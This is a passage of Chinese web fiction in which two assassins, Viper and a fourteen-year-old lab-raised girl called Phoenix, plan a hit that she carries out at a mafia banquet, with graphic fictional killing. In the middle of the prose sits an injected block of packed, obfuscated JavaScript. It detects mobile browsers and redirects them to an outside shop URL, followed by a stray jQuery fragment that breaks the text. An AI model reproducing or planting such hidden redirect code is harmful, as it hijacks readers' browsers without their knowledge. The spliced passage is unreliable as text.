她说:“我明白了。”
——她明白了什么?
她明白他不会出手了?还是她明白自己即将迎来的第一个残酷的、没有人托底的任务?
又或者是她已经知道他其实已经做好了发动幻术救她的准备?他就知道菲尼克斯这家伙是个非常擅长顺杆往上爬的人,早知道这样他当初就不该给她好脸色,要不然也不会让这人肆无忌惮到了这个地步。
思绪在心中纷纷扰扰地团团转,毒蛇舌尖抵了抵上颚,他抬眼,审视的、探寻的视线落在菲尼克斯脸上。
但她只是平静地回视。这人一向这样,实验室呆久了的人注定同外界脱节,他理解不了她的观念她的世界,像他不懂菲尼克斯当初是怎样说出“还能不出任务吗”这样的话,他难以理解,所以他一向看不懂菲尼克斯。
人该怎样理解一枚石头的想法?
菲尼克斯就像数枚搭成的没有尽头且坚不可摧的墙,墙上没有门、没有窗,实验室的九年为她筑起了一座隔离世事的高塔牢笼,在菲尼克斯自己走出来之前,毒蛇碰不到她。
这其实不算什么,菲尼克斯是他捡回来救回来的人,他本来的目的只是想要一个搭档而已,一个实力足够的、可以弥补他体术上的薄弱点的搭档。
但此刻,毒蛇却无端有些气闷。
他沉沉看了菲尼克斯半晌,最后撇开眼,冷冰冰道:“随你。”
菲尼克斯本人对他的想法毫无所知。
她其实没太理解毒蛇的反应,又或者说察觉到他貌似有点生气、但实在想不到原因,于是最后只是有些迷惑地迎着他的视线回视两秒。
闻言,她顿了顿,而后确定般问:“任务是全权交给我吗?”
“任务情报、宴会地形图、守备情况、宾客及其背景、……,这类情报我会给你。”还是那句话,不能要求初学者一步登天学成大师,“其他由你自己解决。”
他声音微沉,唇角紧抿,看着着实是心情不佳的样子,偏偏话中内容依旧冷静且有条理。
菲尼克斯下意识忽略他的反应,凝神听完,而后示意自己已经记下了地应了一声。
再等两秒,发现毒蛇不知为何沉默下来、半天没说句话,她不自觉有些疑惑地望去,在眼前划过的却是一片漆黑的衣角。
如今正处晌午,明媚的阳光从没拉实的窗帘缝隙中泻进来,将视野照得明亮,更衬得那片衣角唐突且无情。
毒蛇起身,抬腿,从这一小片茶几前离开,半个眼神没给她留,漆黑瘦削的背影在阳光中被添了一点暖意,边缘被照得泛起一层微光。
菲尼克斯看着他,半晌,有点疑惑地歪了歪头。
这是怎么了?
*
宴会开展在当地一家黑/手/党酒店中。
酒店规模很大,装修精致且阔气,大厅的灯火金碧辉煌,自内而外倾泻而出,流淌在大厅外那组复古的喷泉上。
来来往往的人们姿态优雅,正于辉煌大厅中握着香槟谈笑风生,黑白制度的服务生托着托盘穿梭在人群,为旁边的大人物乘呈上酒杯。
托毒蛇的福,菲尼克斯顺利混了进去。
她不太想穿裙子的礼服(短刃不太好藏),十四岁女孩的个子又矮过头,这种重要场合酒店不可能有童/工,最后便穿了身普通的黑色西装,纯当自己是参加宴会的某个人带来的小孩。
衬衫领口妥帖地贴在脖颈,红色领带卡在其上,西装面料舒服,版型也很好,衬得人纤细瘦高;还特地选择了宽松的尺码,两柄短刃被别进腰间,衣摆一盖便没了踪迹。
她年纪不大,五官尚未长开,又把稍长的头发在后脑扎起,乍一眼看不出性别,对于这张并不出名的脸来说已经算得上是足够合格的伪装。
或许唯一的破绽是这位实验室出来的少年鲜少接触基数如此庞大的人而有些不适应的僵硬感,她不太自在地微微蹙起眉,眼眸低垂地站在角落,手中握着一杯酒杯装着的果汁。
她正在等。
宴会如今正开始,推杯换盏间的利益交换还未确定,任务的雇主专门要求他们在宴会过半后动手,所以她得等。
压下心中升腾而起的对这样的场景的不适感,菲尼克斯抬起眼,视线精准落到被人群簇拥着的中年男性身上。
那是她的任务目标,彼得罗·加利,是马尔凯区一个不大不小家族管理层的心腹,外表是儒雅绅士的类型,但手段阴险狡诈,抢过他们雇主家族的不少生意。
的确很有自己是他人眼中钉肉中刺的自知之明。她视线打眼一扫,便从人群中瞥见四五个正紧绷着警惕环顾四周的人。
有点棘手啊。她这么想。
和之前的每个任务都不一样,那时她只负责握着刀把在人群中厮杀,其余的一切都会由毒蛇解决,哪像现在这样,还需要她寻找合适的下手时机。
的确有变化了。
她需要在人声嘈杂的宴会中取敌人首级、再于行动后避开人群悄然离去而不暴露行踪,要知道,在此之前,她做任务一向是直接全部杀死,鲜血被尽数掩埋在深沉夜色之下。
而现在,
许多人正于谈笑风生间不动声色地注意着她、打量着她,探究的数道隐晦视线接二连三落在身上,菲尼克斯被看的极不适应。
阴暗的交易与勾心斗角此起彼伏,她眼眸低垂,下颚微微紧绷,握住香槟杯的手指收紧。
大脑开始构建整个宴会厅。
点线相连,人潮涌动,保镖的位置被特意加深点亮。她瞥见他们腰间的枪。
说起枪,菲尼克斯相对来讲其实会更喜欢冷兵器。
但实验室植入的战斗本能所涵盖的东西广泛,她枪法其实不错,腰间也另外别了一把毒蛇给她备用的枪。
雾焰构筑,握住时才有实体,体型重量都比正常手枪轻便;而相对的,雾焰构筑的子弹威力也算不上大。
但足够了。
大厅明亮的灯落在她虹膜中,菲尼克斯这么想。
*
大厅中,正缓慢流淌着的、舒缓而优雅的古典乐被数道骤然响起的枪声打破。
“砰!”的声音在枪响后紧随而来,接连三道枪响,伴随的是眼前骤然昏暗的视野。
半空中辉煌奢侈的水晶吊灯咻然炸开,碎裂的玻璃自空中瓢泼大雨似的落下,又在砸在地上的那一瞬间被巨大的冲击力碾成更细小的碎末。
混乱惊惶的声音接连响起,痛呼、尖叫、哭喊,嘈杂的声音接踵而至。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741685|208494||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
目之所及的一切是沉没于昏暗中的混乱,明亮的主灯被打碎,电线正垂在头顶,只余周围零碎的小灯散发着昏黄的氛围暖光。
视野骤然变暗,大部分人一时看不清周围的事物,而就这个空档——
一个小小的、纤细的身影无声无息地踏上了玻璃碎渣。
细微的声响被吞没。
皮鞋鞋底与碎渣摩擦发出的声音,短刃出鞘的声音,划过空气的破空声,刀锋切过皮肤的噗嗤声,血液的喷溅声。
血液喷涌而出,一滴一滴,在玻璃碎渣中绽放出漂亮的花;鲜血涌入被切开的气管,胸腔发出细微的嗬嗬声;男人沉重的身躯轰然倒下。
时钟在此刻停摆一秒。
下一刻,尖锐的尖叫声和枪声骤然划破这片狼狈的空间。
那个小小的身影毫无留念,一击得手之后连头都未曾回过,杀手矮身躲过直冲而来的子弹,头也不回地朝着服务员通道奔去。
子弹砸在脚边,激起一片火花。
激烈的男声高喊着“抓住他!”一边紧跟着冲上去,数道漆黑身影紧随其后,徒留现场一片狼藉。
但昏暗的暖光中,却还是有一个小小的角落冷静的仿若与现场隔绝开来。
那儿站着个带帽子的、一身黑西装的年轻人 ,个子很高,富有南欧风情的面容立体且锋利。他正气定神闲地站在原地,单手捻着自己弯曲的鬓角,对周围一片混乱的场景视若无睹,反倒饶有兴致地将视线投向刚刚那个杀手离开的方向。
此时,服务员通道的大门敞开,遥遥望去,门前的地板上是子弹留下的黢黑印记。
判断精准,行动迅速,出手干净利落,虽说伪装有些潦草、但总体也算合格——这明显是有提前计划、有提前预谋的暗杀。
以及他所察觉到的,最初枪响伴随而来的雾焰气息。
——真没想到,随便参加个宴会还能碰上这样的乐子。
他如此感慨。
现在的杀手界还真是人才辈出,这年头,连幻术师都要来掺活一脚杀手的活。
甚至还做得不错。
如此随意地想着,青年压了压帽檐,遮住那双黑黝黝的眼睛,退后一步,如阴影般悄无声息地穿行于混乱的宴会厅当中。
他踏出大厅、离开宴会,像从未来过那样。
*
尖锐的枪声接二连三地响起,震得菲尼克斯耳膜发麻。
她飞速穿梭在通道长廊中,原本其中应该有的服务生在事情发生的那一刻便四散而逃,她不必担心逃跑过程中伤及无辜,于是半点没留手,在钻进拐角前便迅速回身。
握抢的手臂高抬绷直,哪怕在这样紧急的事态中,她握抢的姿势依旧仿若刻入骨髓般端正且标准;
血红色的眼瞳眯起,她下颚微抬,动作干脆利落地扣下扳机。
枪声砰砰响起,落点绽开数片血花。
另一枚子弹携着劲风刮起脸侧垂落的发丝,狠狠砸入背后的墙壁,菲尼克斯眼都不眨,发丝还飘在半空,便随着冲劲被骤然拉直。
她两步踏出,直冲走廊尽头的玻璃窗;而后菲尼克斯握拳、将拳头后拉蓄力,再一拳砸向酒店的玻璃。
“哗啦——!”